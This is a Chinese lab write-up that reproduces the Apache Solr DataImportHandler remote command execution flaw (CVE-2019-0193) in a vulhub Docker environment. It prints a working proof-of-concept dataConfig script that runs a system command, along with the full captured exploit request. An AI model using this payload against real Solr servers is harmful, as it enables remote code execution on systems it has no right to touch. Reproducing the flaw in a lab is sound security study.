前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

作者头像
墙角睡大觉
发布2019-11-05 17:07:15
1.2K0
发布2019-11-05 17:07:15
举报
文章被收录于专栏:安全漏洞环境学习

0x01,漏洞背景

Apache Solr 是一个开源的搜索服务器。Solr使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响范围:Apache Solr < 8.2.0

Apache Solr < 8.2.0 并且开启了DataImportHandler模块,在默认情况下该模块不被启用,存在该漏洞。但是Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将JavaSystem属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。

0x02,环境搭建

环境下载:https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

Apachesolr路径下docker-compose.yml文件

docker-composeup -d

docker-composeexec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

0x03,漏洞利用

如上图所示,首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:

填入poc

代码语言:javascript
复制
<dataConfig>
代码语言:javascript
复制
  <dataSource type="URLDataSource"/>
代码语言:javascript
复制
  <script><![CDATA[
代码语言:javascript
复制
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
代码语言:javascript
复制
          }
代码语言:javascript
复制
  ]]></script>
代码语言:javascript
复制
  <document>
代码语言:javascript
复制
    <entity name="stackoverflow"
代码语言:javascript
复制
            url="https://stackoverflow.com/feeds/tag/solr"
代码语言:javascript
复制
            processor="XPathEntityProcessor"
代码语言:javascript
复制
            forEach="/feed"
代码语言:javascript
复制
            transformer="script:poc" />
代码语言:javascript
复制
  </document>
代码语言:javascript
复制
</dataConfig>

点击Executewith this Confuguration会发送以下请求包:

在抓包发包之前我们查看服务器的/tmp文件夹

通过抓包可以发现

代码语言:javascript
复制
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
代码语言:javascript
复制
Host: localhost:8983
代码语言:javascript
复制
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
代码语言:javascript
复制
Accept: application/json, text/plain, */*
代码语言:javascript
复制
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
代码语言:javascript
复制
Accept-Encoding: gzip, deflate
代码语言:javascript
复制
Content-type: application/x-www-form-urlencoded
代码语言:javascript
复制
X-Requested-With: XMLHttpRequest
代码语言:javascript
复制
Content-Length: 679
代码语言:javascript
复制
Connection: close
代码语言:javascript
复制
Referer: http://localhost:8983/solr/
代码语言:javascript
复制
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
代码语言:javascript
复制
 
代码语言:javascript
复制
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

执行docker-composeexec solr ls /tmp,可见/tmp/success已成功创建

参考文章:

https://xz.aliyun.com/t/5965

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01,漏洞背景
  • 0x02,环境搭建
  • 0x03,漏洞利用
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档